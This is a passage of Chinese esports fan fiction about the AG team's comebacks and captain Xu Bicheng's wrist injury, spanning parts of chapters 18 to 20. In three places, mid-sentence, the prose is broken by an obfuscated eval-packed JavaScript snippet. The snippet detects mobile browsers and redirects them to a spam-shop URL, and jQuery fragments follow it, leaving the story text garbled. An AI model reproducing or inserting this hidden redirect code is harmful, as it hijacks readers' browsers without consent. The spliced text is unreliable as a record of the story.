十五分钟,风暴龙王团。AG五人分散站位,从五个方向切入。狼队的阵型被完全打乱,根本不知道先打谁。 团灭。 一波。 1:2! AG扳回一局! “这才是真正的AG!”李九激动地说,“五个人都是核心,五个人都能carry,五个人都在为团队做贡献!” --- 第四局,狼队调整战术,想要重新找回节奏。 但AG已经打疯了。这一局,他们拿出了更极致的五核阵容:钟意澜,长生干将莫邪,徐必成马可波罗,轩染马超,大帅鬼谷子。 五个操作怪,五个carry点。 狼队虽然顽强抵抗,但面对五个都能秀操作的选 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028856|194480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手,还是显得力不从心。 2:2! 比分扳平! “让二追二!”Cat在后台激动地说,“在狼队的主场,在0:2落后的绝境下,AG完成了让二追二!这就是五核的魅力!” --- 第五局,巅峰对决。 双方都拿出了压箱底的东西。狼队选择了他们最擅长的运营体系:Fly猪八戒,小胖裴擒虎,向鱼沈梦溪,妖刀狄仁杰,帆帆张飞。 AG则选择了极致的操作阵容:钟意镜,长生上官婉儿,徐必成公孙离,轩染关羽,大帅太乙真人。 加载界面,徐必成在语音里说:“最后一局了。不管输赢,打出我们的东西。” “明白!” 游戏开始。 这一局,双方都打得极其谨慎。前十分钟,人头比3:3,经济差始终在五百以内。 导播很懂地把镜头给到徐必成。大屏幕上,他的公孙离在发育路稳健补刀,但眼睛一直在观察小地图,手指在飞快地点击信号。 他在指挥。 不是用语言,是用信号,用走位,用操作。 十三分钟,暴君团。 决定胜负的一波。 Fly的猪八戒闪现开团,大中三人。小胖的裴擒虎进场收割。但几乎同时,钟意的镜也开到了狼队的后排。 混战。 徐必成的公孙离在后方输出。他没有急着转大,而是在等,等狼队的关键技能。 等东皇太一的大招,等张良的大招,等猪八戒的控制。 然后,他动了。 净化秒解猪八戒的控制,闪现拉开距离,反手大招转进狼队人群——但不是冲着C位,是冲着前排。 他在骗技能。 狼队果然上当了。东皇太一大招吸住公孙离,张良大招按住。但公孙离有净化,有苍穹,有复活甲——他死不了。 而就在狼队把所有技能都交给公孙离的时候,AG的其他人动了。 长生的上官婉儿起飞,秒掉妖刀的狄仁杰。轩染的关羽绕后,推到三人。钟意的镜进场收割。 完美团战。 AG打出2换5,团灭狼队,拿下暴君,带着兵线推上高地。 狼队顽强抵抗,但终究不敌。 水晶爆炸。 3:2! AG让二追三,战胜狼队! --- 现场彻底疯狂了。 AG粉丝区,所有人都在尖叫,在欢呼,在哭泣。林晓晓抱着陈薇,泪流满面。 舞台上,AG五人紧紧拥抱。钟意哭得像个孩子,长生摘下眼镜擦眼泪,轩染和大帅击掌,徐必成红着眼眶,拍着每个人的肩膀。 导播把镜头给到狼队选手席。Fly低着头,小胖盯着屏幕,向鱼揉着眼睛。 主场作战,2:0领先,被让二追三——这种打击,太大了。 赛后采访,记者把话筒递给徐必成。 “让二追三,感觉怎么样?” 徐必成想了想,说:“很累。但赢了,就值得。” “前两局你们尝试了新体系,但效果不好。后三局换回五核,立刻赢了。是不是说明,新体系失败了?” 徐必成看了一眼Cat的方向,然后说:“不是失败,是还没成熟。新体系需要时间,需要磨合,需要更多的实战检验。今天我们前两局输了,不是体系的问题,是我们执行的问题。后三局赢了,也不是五核有多强,是我们找回了自己。” “那接下来……” “接下来我们会继续研究新体系。”徐必成说,“但同时,我们也不会放弃五核。版本会变,战术会变,但有些东西不会变——比如团队,比如信任,比如永不放弃的心。” 采访结束,徐必成回到后台。 手机震动,是Cat发来的消息:“今天打得很好。但记住,这只是一个开始。五核能赢一时,赢不了一个赛季。新体系,必须练出来。” 徐必成回复:“明白。” 他关掉手机,看向窗外。 重庆的夜色很美,山城的灯火层层叠叠,像倒悬的星河。 但徐必成知道,接下来的路,会更难。 新体系的阵痛,才刚刚开始。 转型的代价,才刚刚显现。 但没关系。 只要还在赢,只要还在进步,只要团队还在—— 他们,就还能走下去。 涅槃之后的新生,总是伴随着阵痛。 而阵痛之后,才是真正的成长。 --- 深夜,AG基地训练室。 五个人没有庆祝胜利,而是围在一起,复盘今天前两局的失败。 Cat把录像一帧一帧地放,一帧一帧地分析。 “这里,轩染,你单杀关羽后,为什么要回城?应该继续带线,把兵线带到二塔。” “这里,大帅,你开团的时机早了0.5秒,队友跟不上。” “这里,长生,你支援的路线被预判了,应该绕路。” “这里,钟意,你反野的时候没做视野,被反蹲了。” “这里,一诺,你抗压的时候站位太靠前,被消耗太多了。” 每个人都被指出了问题,每个人都在认真记录。 复盘持续到凌晨两点。 结束时,Cat说:“今天的胜利,是侥幸。是狼队不熟悉你们的五核,是你们个人能力爆发。但下次呢?下下次呢?等所有队伍都研究透你们的五核,等版本彻底抛弃中野,你们怎么办?” 没人说话。 “所以,新体系必须练。”Cat说,“而且要比今天更坚决,更极端。下周打Estar,我会设计一套全新的战术。你们要做好准备,可能会输得很惨。” “我们不怕输。”徐必成说。 “好。”Cat点头,“那从明天开始,继续封闭训练。商业活动,继续暂停。” “可是俱乐部……”钟意小声说。 “俱乐部那边,我去说。”Cat说,“我这张老脸,应该还有点用。” 五个人看着他,眼神里有感激,有信任,有一种说不清道不明的东西。 那东西,叫传承。 叫希望。 叫——未来。 窗外的夜空,星星在闪烁。 训练室里,灯火通明。 五个少年,为了守住冠军的荣耀,为了证明自己的价值,为了不辜负所有人的期待—— 继续战斗。 阵痛之后,才是新生。 而他们,正在新生。 【第十八章·完】 19. 深渊边缘 2022年8月,成都AG超玩会训练基地 雷雨在凌晨三点准时造访成都,雨水砸在训练室的窗户上,发出密集的鼓点声。室内只亮着一盏台灯,昏黄的光晕将徐必成的影子投射在墙上,拉得很长,像一道疲惫的剪影。 他盯着电脑屏幕上的数据面板,右手腕的疼痛又回来了——不是手术伤口的疼,是一种更深层的、从骨头里透出来的酸痛。康复师说这是训练过度的正常反应,但他知道不是。这是身体在发出警告,像一台运转了太久的机器,每一个零件都在发出最后的悲鸣。 夏季赛已经过半,AG的战绩是5胜5负,排在联盟第八——季后赛门槛的边缘。五核体系被研究透了,边辅核心还没练成,他们卡在中间,像陷在泥潭里的车,轮子空转,寸步难行。 更糟的是,舆论已经彻底转向。 一个月前,他们还是冠军,是五核体系的创造者。现在,他们是“版本弃子”,是“冠军魔咒的又一例证”,是“转型失败的典型”。 手机在桌上震动,屏幕亮着微博界面。热搜第七:#AG还能进季后赛吗# 点进去,热门评论像刀子: “一诺真的老了,操作下滑严重” “五核就是伪命题,现在原形毕露” “Cat的战术就是笑话,早退役早好” “AG这个赛季没了” 徐必成一条条翻过去,面无表情。但当他看到一条评论时,手指还是停住了:“一诺早点退役吧,别拖累AG了。” 拖累。 这个词像一根刺,扎进心里最柔软的地方。 他想起2018年刚进BA时,Cat对他说:“电子竞技最残酷的地方就是,当你不能为团队做贡献时,你就成了拖累。” 现在,他成了那个拖累吗? 数据不会说谎。这个赛季,他的场均输出18.7%,联盟发育路倒数第三;分均经济415,联盟发育路倒数第二;MVP次数1次,联盟倒数第一。 唯一好看的数据是场均视野得分:82.3,联盟第一。 但谁会关注视野得分呢?人们只想看到华丽的击杀,爆炸的输出,精彩的操作。那些默默无闻的贡献,那些为团队牺牲的隐忍,那些在绝境中寻找希望的坚持——这些,在这个数据至上的时代,一文不值。 窗外的雷声更响了。 徐必成关掉微博,打开训练营。选公孙离,对着木桩练习走A。一下,两下,三下——手腕传来刺痛,操作变形。 再来。 一下,两下,三下——还是变形。 他盯着屏幕,很久。然后关掉训练营,打开一个加密文件夹。 里面是一份文档,标题是《退役申请》。 他已经写了一个月,改了十几版。每次想提交,又删掉。每次想放弃,又继续。 现在,也许该做个了断了。 --- 同一时间,上海某医院实习室。 林晓晓盯着显微镜下的病理切片,但脑子里全是昨晚AG输给TTG的比赛录像。0:3,被零封,毫无还手之力。徐必成的狄仁杰0-7-3,输出占比14.2%,承伤31.8%——惨不忍睹的数据。 更让她担心的是比赛中的一个细节:第三局团战,徐必成的狄仁杰想要闪现开团,但手慢了半拍,被反杀。导播给了特写镜头——他在揉手腕,表情痛苦。 手腕又出问题了。 她打开手机,想给AG的队医发消息,但手指在键盘上停住了。她只是个医学院学生,有什么资格指导职业战队的医疗团队? 但她还是点开了徐必成的超话。里面已经吵翻了天: “一诺赶紧退役吧,别占着首发位置了” “手腕伤了就好好养,硬撑着打对谁都不好” “AG需要新鲜血液,一诺该让位了” 她咬着嘴唇,开始打字。不是反驳,不是争吵,是一封长信。 “诺队,你好。我是医学院的学生,也是你的粉丝。我不懂电竞战术,但我知道,身体是革命的本钱。手腕TFCC损伤如果反复发作,可能会导致永久性的功能障碍。这不是危言耸听,是医学事实。 我知道你想赢,想为团队做贡献,想证明自己还能打。但有时候,退一步,是为了更好地前进。休息一个赛季,彻底治好手腕,调整好心态,也许比硬撑着打更有价值。 当然,这只是我的建议。最终的决定权在你手里。无论你选择继续打还是休息,我都会支持你。因为我相信,真正的强大不是永不倒下,而是倒下后还能站起来。 保重身体,期待你的归来。” 点击发送。 然后,她打开邮箱,找到AG俱乐部的医疗团队,发了一份关于手腕TFCC损伤康复治疗的最新研究论文。 --- 次日清晨,训练室。 五个少年围在白板前,Cat站在前面,表情严肃得像要上刑场。 “上周打TTG,我们输了。”Cat说,“不是输在操作,不是输在意识,是输在战术。我们的边辅核心体系,被TTG完全破解了。” 他在白板上画着TTG的战术图:“他们用三线压制,逼我们分线防守。然后用中野辅联动,抓我们的带线边路。轩染的老夫子,整场比赛被针对到死。” 轩染低着头,手指在颤抖。那场比赛,他的老夫子0-8-2,被单杀四次,被抓死四次。 “是我的问题。”他说,“我没打好。” “不是你的问题。”Cat摇头,“是我的问题。我设计的战术太极端了,太容易被针对了。我以为四一分带能赢,但我忘了,现在是2022年,不是2016年。现在的队伍,太会处理四一分带了。” 他顿了顿,擦掉白板上的所有内容。 “所以,我们要换战术。换一种更符合版本,更符合我们队伍特点的战术。” “什么战术?”长生问。 Cat在白板上写下四个字:“运营转线。” “运营转线?”钟意皱眉,“那不是Estar的战术吗?” “对。”Cat说,“Estar的运营转线是联盟最好的。他们能通过不断的转线,制造局部多打少,掠夺资源,滚大雪球。我们要学的就是这个。” “可是……”大帅想说什么。 “我知道你们想说什么。”Cat打断他,“Estar的运营转线是建立在Cat的指挥和花海的操作上的。我们没有Cat,没有花海,怎么学?” 他看着五个人:“但我们有别的。我们有长生顶级的中单支援,有钟意稳定的野区控制,有轩染强势的边路线权,有大帅精准的开团时机,有一诺……” 他看向徐必成,停顿了一下:“有一诺无与伦比的抗压能力和视野控制。” 徐必成抬起头,眼神有些迷茫。 无与伦比? 他现在连对线都对不过了,还无与伦比? “一诺。”Cat看着他,“我知道你最近状态不好。但你要明白,你的价值不是体现在对线上,不是体现在输出上。你的价值体现在——你能在抗压的同时,给团队提供多少信息,牵制多少敌人,创造多少空间。” 他在白板上画了一个简单的图:“下一场打Estar,我们不打对线,不打团战,打运营。通过不断的转线,制造局部优势,掠夺资源,滚大雪球。而你要做的,就是在发育路抗住压力,不死,不崩,不给机会。” 听起来很简单。 但徐必成知道,这比让他carry还难。 因为抗压,是最考验心态,最考验耐心,最考验意志力的。你要看着对手补刀,看着对手推塔,看着对手在你面前耀武扬威,但你不能急,不能上头,不能犯错。 你要忍。 忍到队友发育起来,忍到团队优势建立,忍到胜利来临。 而这个过程,可能十分钟,可能二十分钟,可能一整局。 你能忍吗? 徐必成看着自己的右手腕,那道淡粉色的疤痕在灯光下泛着光泽。 他想起了2019年夺冠时的自己——锋芒毕露,锐不可当。 想起了2021年手术后的自己——挣扎迷茫,自我怀疑。 想起了现在的自己——疲惫不堪,伤痕累累。 还能忍吗? 他不知道。 但他必须忍。 因为他是队长,是领袖,是AG的灵魂。 他没有退路。 --- 三天后,AG vs 武汉eStarPro,成都主场。 赛前预测,九成的人认为Estar会赢。因为Estar是目前联盟第一,11胜1负,战绩恐怖。而AG,5胜5负,状态低迷。 更重要的是,这场比赛的看点不只是胜负,还有——Cat对阵老东家。 Cat退役后第一次以战术顾问的身份,对阵自己曾经效力过的队伍。 观众席上,林晓晓和陈薇坐在一起,手里举着徐必成的应援牌,但上面写的字已经变了:“一诺,坚持就是胜利。” 她们知道,今天的比赛,徐必成会很难。因为Estar的射手易峥,是这个赛季状态最好的发育路选手之一,场均输出26.8%,分均经济510,MVP次数6次。 而徐必成呢?场均输出18.7%,分均经济415,MVP次数1次。 差距太大了。 舞台上,BP开始。 --- Estar蓝色方。 教练47站在选手席后方,手里拿着战术板。他是Cat退役后Estar的新任教练,以战术灵活、BP多变著称。 “禁公孙离和孙尚香。”47说,“针对一诺。” Estar前两Ban果然给到了这两个射手。AG则按掉了大乔和鲁班大师。 “一楼拿澜。”47说,“逼他们拿镜。” Estar锁定澜。AG毫不犹豫地锁定了镜——钟意最自信的英雄。 “他们在赌。”47对花海说,“赌钟意的镜能带起节奏。” “那我们……” “拿张良和东皇。”47说,“双强控,专治花里胡哨。” Estar二楼三楼锁定了张良和东皇太一。现场一片哗然——又是这套阵容,又是这个针对。 AG这边,Cat看向徐必成:“拿什么?” 徐必成盯着那个阵容,深吸一口气:“狄仁杰。” “确定?” “确定。” AG三四楼选择了狄仁杰和长生不知火舞。 Estar最后两手锁定了易峥的虞姬和子阳的太乙真人。 AG五楼,大帅拿出了他的招牌英雄——鬼谷子。 阵容确定: AG:镜(钟意)、不知火舞(长生)、狄仁杰(一诺)、鬼谷子(大帅)、马超(轩染) Estar:澜(花海)、张良(清融)、虞姬(易峥)、东皇太一(子阳)、吕布(坦然) 加载界面,徐必成闭上眼睛。 再睁开时,眼神平静得像深潭。 “记住战术。”他在语音里说,“运营转线,不打对线,不打团战,打资源。我抗压,你们发育。” “明白。” 游戏开始。 开局,易峥的虞姬打得极其凶悍。一级就压线,二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028857|194480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 级就想单杀。徐必成的狄仁杰没有硬拼,只是补刀,做视野,等队友。 “他在怂。”易峥在语音里说,“一诺不行了,连对线都不敢对了。” 但徐必成不是在怂,是在执行战术。他的任务不是对线,不是单杀,是抗压,是牵制,是给队友创造发育空间。 四分钟,暴君刷新。Estar四人集结开龙,AG只有三人——徐必成的狄仁杰在下路带线。 “放了吧。”钟意说,“我们人不够。” “不放。”徐必成说,“你们骚扰,我偷龙。” “你偷龙?”长生愣住了,“你一个狄仁杰……” “相信我。” AG三人上前骚扰,Estar注意力被吸引。徐必成的狄仁杰从下路绕到龙坑后方,开启逐日之弓,超远距离点龙—— 惩戒! 龙被抢了! “狄仁杰抢到了暴君!”李九惊呼,“一诺!他用狄仁杰抢到了暴君!” 现场AG粉丝沸腾了。Estar选手席上,易峥的脸瞬间黑了。 节奏开始转向AG。虽然徐必成的狄仁杰经济依然落后,但他用意识和操作弥补了装备差距。每次团战,他都能找到最安全的输出位置;每次被抓,他都能用走位和净化极限逃生;每次推进,他都能用大招开团或者保命。 十五分钟,风暴龙王团。易峥的虞姬想要秀操作,但徐必成的狄仁杰大招定住,配合队友秒掉。 核心阵亡,Estar团战溃败。AG拿下龙王,带着兵线一波推平水晶。 1:0! AG拿下第一局! “一诺!”Cat在后台激动地说,“他用狄仁杰打出了教科书级别的工具人射手表现!输出不高,但作用巨大!” --- 中场休息,AG休息室。 气氛和往常完全不一样。所有人都在笑,在闹,在庆祝。 “诺哥,那波抢龙太帅了!”钟意用力拍他的肩膀。 “意识太好了。”长生推了推眼镜。 “继续保持。”徐必成只是笑笑。 但第二局,Estar调整了战术。 他们不再针对徐必成,而是针对钟意和长生。把你最强的两个点按死,看你工具人射手还能怎么玩。 这一局,徐必成拿了马可波罗——理论上还能carry的英雄。但Estar的针对太狠了,东皇太一加张良,每次马可波罗想转大,必有一个大招等着他。 0:5,马可波罗战绩惨淡。 虽然长生和轩染尽力carry,但终究不敌。 1:1,比分扳平。 第三局,徐必成拿出了公孙离——他的招牌,也是这个版本最弱势的射手之一。 “诺哥,真要拿公孙离吗?”钟意问。 “拿。”徐必成说,“我要证明,不是射手不行,是玩射手的人不行。” 游戏开始。 这一局,徐必成的公孙离打得极其谨慎。不追求单杀,不追求压制,只追求——活着。 清完线就消失,给足边路压力。团战永远在安全位置输出,绝不上头。被抓就用净化加位移极限逃生,绝不贪心。 数据很难看:十分钟,0-0-2,经济全场第四。 但作用很大:他的公孙离牵扯了Estar至少两个人的注意力,为队友创造了巨大的发育空间。 十五分钟,风暴龙王团。Estar想要强开公孙离,但徐必成的走位太刁钻了,永远卡在技能边缘。Estar开团失败,反被AG抓住机会。 长生不知火舞进场收割,拿下三杀。 团战赢了。 2:1,AG再下一城。 第四局,Estar心态崩了,AG轻松拿下。 3:1,AG战胜Estar! “让一追三!”李九激动地说,“在所有人都认为射手已死的版本,一诺用三局不同的射手,证明了射手还能玩!” 赛后采访,记者把话筒递给徐必成。 “今天carry全场,感觉怎么样?” 徐必成想了想,说:“不是carry,是团队。第一局,我用狄仁杰抢龙,是队友给了我机会。第二局,我马可波罗被针对,但队友站出来了。第三局,我公孙离虽然数据不好,但牵制了很多人,为队友创造了空间。所以,赢比赛的不是我一个人,是我们五个人。” “那对‘绝育路’这个词有什么看法?” 徐必成笑了:“路绝育了,但人没有。版本可以削弱英雄,可以削弱装备,但削弱不了选手的决心和创造力。只要还想赢,就总能找到赢的方法。” 采访结束,徐必成回到后台。 手机震动,是Cat发来的消息:“今天打得很好。你终于明白了——真正的强大,不是逆版本carry,而是在任何版本都能找到赢的方法。” 徐必成回复:“是你教我的。” “不,是你自己悟到的。” 关掉手机,徐必成看向窗外。 成都的夜空,星星在闪烁。 他的手腕还在疼。 他的操作还没完全恢复。 但他不再焦虑了。 因为他知道,电竞的路很长,赢比赛的方式很多。 他不必执着于回到从前。 他只需要,一直往前走。 一直赢下去。 这就是重生的意义。 不是回到原点。 是带着伤痕,走向新的起点。 深渊边缘,不是终点。 是看清自己,重新出发的地方。 而他们,才刚刚出发。 【第十九章·完】 20. 生死边缘 2022年9月,成都AG超玩会训练基地 桂花香在九月的成都街头弥漫,甜腻得让人心慌。训练室里,空调已经开到最低,但徐必成还是觉得胸口闷得像压了块石头——不是热的,是那种濒临窒息的感觉。 他盯着电脑屏幕上的积分榜:AG超玩会,8胜7负,净胜分+3,排名联盟第九。 季后赛门槛:前八名。 还剩下最后一场常规赛,对手是广州TTG。赢了,可能进季后赛,要看其他队伍的脸色。输了,直接淘汰,夏季赛到此结束。 一个月前,他们用运营转线体系连胜三场,从悬崖边爬回来一半。但现在,那个体系也被研究透了。上周打WB,他们被零封,运营转线被WB的“131分带”完全破解。 “我们没时间了。”教练Awoke在白板前,声音嘶哑得像砂纸磨过木头,“最后一场,我们必须赢。但TTG目前12胜3负,联盟第二,状态正盛。” 训练室里一片死寂。钟意低着头,长生推着眼镜,轩染盯着地板,大帅咬着嘴唇。 徐必成看着自己的右手腕。那道疤痕在灯光下泛着淡粉色的光泽,已经不疼了,但每当压力大的时候,就会隐隐发痒,像在提醒他什么。 手机震动,是Cat发来的消息:“听说你们最后一场打TTG?” “嗯。”徐必成回复,“生死战。” “我看了TTG最近的比赛录像,他们的‘四一分推’很厉害。清清的单带,不然的节奏,九尾的支援,钎城的稳定,冰尘的开团——几乎没有短板。” “我们知道。” “但有一个点可以利用。”Cat说,“他们的射手钎城,打法很稳,但太稳了。稳到不敢冒险,稳到总是等队友创造机会。如果你能在对线上压制他,哪怕只是心理上的压制,就可能打乱他们的节奏。” 压制? 徐必成苦笑。他现在连对线都对不过二流射手,拿什么压制联盟顶级的钎城? “我知道你在想什么。”Cat像是看穿了他的心思,“但压制不一定要对线单杀。压制可以是视野压制,可以是心理压制,可以是节奏压制。让他不敢出塔,让他频繁叫辅助,让他成为队伍的负担——这就是压制。” 听起来很简单。 但徐必成知道,这比让他carry还难。 因为他现在的状态,连自保都勉强,还谈什么压制? “Cat哥。”他打字,“我的手腕……” “我知道。”Cat回复,“所以我为你设计了一套特殊的打法。不需要太多操作,不需要太多走位,只需要——恶心人。” 恶心人? 徐必成盯着那三个字,愣住了。 --- 同一时间,上海医学院图书馆。 林晓晓盯着笔记本电脑上的数据图表,手指冰凉。那是她这个月做的AG选手生理指标监测分析——通过公开的直播录像、比赛画面、采访视频,结合运动医学理论,推断选手的疲劳程度和伤病风险。 徐必成的数据最刺眼:平均眨眼频率提高43%(疲劳标志),右手手腕活动度下降22%(僵硬程度),微表情分析显示“痛苦微表情”出现频率是赛季初的3.7倍。 危险。 非常危险。 她打开手机,找到一周前给徐必成发的那封私信,已读,但没回复。她又找到给AG医疗团队发的邮件,已读,但也没回复。 没人理她。 在这个成绩至上的行业,没人会在意一个医学院学生的“危言耸听”。只要还能打,只要能赢,只要能进季后赛——伤病?疲劳?那是赛后考虑的事情。 但林晓晓知道,有些伤害是不可逆的。就像手腕的TFCC损伤,如果反复发作,可能会导致永久性的关节功能障碍。到那时候,不只是职业生涯结束,可能连正常生活都会受影响。 她咬着嘴唇,打开微博,找到徐必成的超话。里面正在热烈讨论最后一场生死战: “一定要赢啊!” “相信AG!” “一诺最后一舞,拼了!” 没有人提伤病,没有人提疲劳,没有人提风险。 所有人都只在乎赢。 林晓晓盯着屏幕,很久。然后,她开始打字。 不是分析,不是预测,是一封公开信。 “致所有AG粉丝: 我知道大家都很期待最后一场生死战,都很希望AG能进季后赛。但作为医学院的学生,我想提醒大家一件事:选手也是人,也会累,也会伤,也会痛。 我通过公开数据分析,发现一诺选手的生理指标已经达到危险阈值。手腕伤势有复发风险,疲劳程度严重超标。在这种情况下强行比赛,可能会导致永久性损伤。 我知道‘拼尽全力’是电竞精神,但‘拼尽健康’不是。如果为了进季后赛,毁掉一个选手的职业生涯,甚至毁掉他的健康,值得吗? 当然,最终的决定权在选手和俱乐部手里。但作为粉丝,我们至少可以做到——无论输赢,理解他们的选择。无论结果,支持他们的决定。 因为真正的支持,不是‘你必须赢’,是‘你健康就好’。” 点击发布。 几乎立刻,评论爆炸了。 有人理解:“说得对,健康最重要” 有人质疑:“你是谁?凭什么说一诺有伤?” 有人愤怒:“最后一场了你说这个?扰乱军心?” 林晓晓一条条看过去,手指在颤抖。但她没有删,没有关,只是静静地看着。 这是她能做的,唯一的事了。 --- 三天后,成都主场。 AG vs TTG,夏季赛常规赛最后一场,生死战。 能容纳三千人的场馆座无虚席,但气氛和往常完全不同——没有欢呼,没有呐喊,只有一种沉重的、压抑的安静。像暴风雨前的宁静,像死刑前的等待。 林晓晓和陈薇坐在第二排,手里没有举应援牌,只是静静地坐着。周围的其他AG粉丝也一样,没有人说话,没有人笑,所有人的表情都凝重得像参加葬礼。 舞台上,徐必成坐在选手席上,调试设备。他的右手腕上缠着绷带——不是需要,是心理安慰。队医说可以不打,但他坚持要打。因为绷带能给他一种“我还行”的错觉。 导播给了一个特写镜头。大屏幕上,他的表情平静得可怕,眼神空洞得像没有灵魂。只有在活动手腕时,眉头会微微蹙一下,很快又恢复平静。 “今天的关键在发育路。”解说李九的声音透过音响传来,“一诺对钎城,两个顶级射手的对决。但一诺最近状态低迷,钎城状态正盛,这可能是AG最薄弱的一环。” 琪琪接话:“而且TTG的战术很明确——针对发育路。清清和不然肯定会频繁光顾下路,一诺的压力会非常大。” 观众席上,林晓晓握紧了陈薇的手。 她能感觉到,徐必成在忍。忍着手腕的疼痛,忍着舆论的压力,忍着可能这是最后一场比赛的恐惧。 但他还在打。 为什么? 她不知道。 也许是因为不甘,因为责任,因为——他是AG的一诺。 BP开始。 --- TTG蓝色方。 教练LoveCD站在选手席后方,表情轻松得像来度假。TTG已经锁定季后赛席位,这场比赛的输赢对他们影响不大,所以他们可以打得很放松,很随意。 而这,恰恰是最可怕的。 因为放松的队伍,往往能打出最惊人的操作。 “禁公孙离和孙尚香。”LoveCD说,“针对一诺。” TTG前两Ban果然给到了这两个射手。AG则按掉了大乔和鲁班大师。 “一楼拿澜。”LoveCD说,“给他们镜,看他们敢不敢拿。” TTG锁定澜。AG犹豫了。 因为镜虽然强势,但被TTG研究得很透。上周打WB,钟意的镜就被针对到死,整场比赛毫无作为。 “拿吗?”Awoke看向钟意。 钟意咬着嘴唇,很久,然后点头:“拿。” AG一楼锁定镜。 “有魄力。”LoveCD笑了,“那我们就不客气了。” TTG二三楼拿出了清清的关羽和九尾的西施——极致的控制链。 AG三四楼选择了长生不知火舞和徐必成的狄仁杰。 TTG最后两手锁定了钎城的虞姬和冰尘的张飞。 AG五楼,大帅拿出了他的招牌英雄——鬼谷子。 阵容确定: AG:镜(钟意)、不知火舞(长生)、狄仁杰(一诺)、鬼谷子(大帅)、马超(轩染) TTG:澜(不然)、西施(九尾)、虞姬(钎城)、张飞(冰尘)、关羽(清清) 加载界面,徐必成闭上眼睛。 耳机里传来Cat昨天在电话里的声音:“记住,你的任务不是carry,不是对线,是恶心人。怎么恶心怎么打。清完线就消失,给中上压力。被抓就用净化闪现跑,绝不回头。团战永远在安全位置输出,绝不上头。你要让钎城觉得——这个人怎么这么烦?” 烦。 这就是他的任务。 游戏开始。 开局,钎城的虞姬打得极其稳健。一级清线,二级消耗,三级等打野。完全不给机会。 但徐必成也没想给机会。他的狄仁杰清完线就往中路走,假装要支援,实际上只是露个头,给TTG压力。 “狄仁杰不见了。”钎城在语音里说。 “中路小心。”九尾说。 长生趁机压了一波线,抢到线权。钟意的镜趁机反了一组小野。 节奏,就这样一点点抢回来了。 四分钟,暴君刷新。TTG四人集结开龙,AG只有三人——徐必成的狄仁杰在下路带线。 “放了吧。”钟意说。 “不放。”徐必成说,“你们骚扰,我偷。” 同样的剧本,同样的操作。 狄仁杰从下路绕到龙坑后方,开启逐日之弓,超远距离点龙—— 但这次,TTG有准备了。 清清的关羽从草丛杀出,一刀劈来!徐必成极限净化秒解,闪现拉开,但龙已经被不然的澜惩戒掉了。 偷龙失败。 而且,狄仁杰的闪现没了。 “一诺没闪了。”钎城在语音里说,“下波可以越。” 五分钟后,TTG四人越塔。关羽绕后,西施拉人,澜进场,虞姬输出。 完美越塔。 但徐必成没死。 他用走位躲开关羽的劈砍,用二技能解掉西施的拉,用大招定住澜,然后用净化秒解张飞的控制,残血逃生。 “这都没死?!”解说琪琪惊呼,“一诺的走位太极限了!” 虽然没死,但塔没了,兵线没了,发育严重受影响。 十分钟,经济落后两千。 “守不住了。”大帅说。 “能守。”徐必成的狄仁杰在塔下清兵,“拖后期,我们能翻。” 但TTG显然不打算给机会。十五分钟,他们带着主宰先锋上高地。清清的关羽绕后开团,推到三人。钎城的虞姬跟上输出,拿下三杀。 团灭。 水晶爆炸。 0:1。 AG输掉第一局。 --- 中场休息,AG休息室。 死一般的寂静。 徐必成坐在椅子上,盯着自己的右手腕。绷带已经被汗水浸湿,里面的皮肤在发痒,在疼痛,在发出警告。 “我的问题。”他说,“那波龙没偷到,节奏断了。” “不,是我的问题。”钟意说,“我的镜被针对了,整场没作用。” “我的问题。”长生说,“我的不知火舞进场时机全错。” “我的问题。”大帅说,“我的鬼谷子开团开得不好。” “我的问题。”轩染说,“我的马超被清清压制了。” 教练Awoke看着他们,眼眶发红:“现在不是分锅的时候。现在的问题是——下一局怎么打?如果再输,我们就没了。” “换战术。”徐必成站起来,“不玩运营转线了,不玩四一分带了。我们就玩我们最熟悉的——五核。” “可是版本……”长生想说版本对五核不友好。 “版本重要,但赢比赛更重要。”徐必成说,“我们现在0:1落后,再输一局就没了。与其死在不熟悉的战术里,不如死在最熟悉的打法上。” 他顿了顿,看向每个人:“还记得春季赛总决赛吗?我们0:2落后,然后连扳四局,拿到冠军。那时候我们靠的是什么?不是战术,不是版本,是——相信。相信队友,相信自己,相信我们一定能赢。” 五个人对视一眼,眼神从迷茫慢慢变得坚定。 “好。”钟意第一个说,“那就五核。” “五核。”长生点头。 “五核。”轩染说。 “五核。”大帅说。 徐必成笑了:“那就——干。” --- 第二局BP开始。 AG蓝色方,一楼锁定了镜——钟意最自信的英雄。 TTG反手拿出了东皇太一和张良——又是强控阵容。 但AG接下来的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17028858|194480||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 选择让所有人都看不懂了。 二楼:不知火舞——长生 